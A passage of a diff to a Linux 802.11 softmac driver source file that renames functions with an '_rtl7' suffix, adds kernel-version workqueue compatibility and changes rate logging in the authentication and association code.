IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); cancel_delayed_work(&ieee->softmac_scan_wq); } - + // spin_unlock_irqrestore(&ieee->lock, flags); up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ 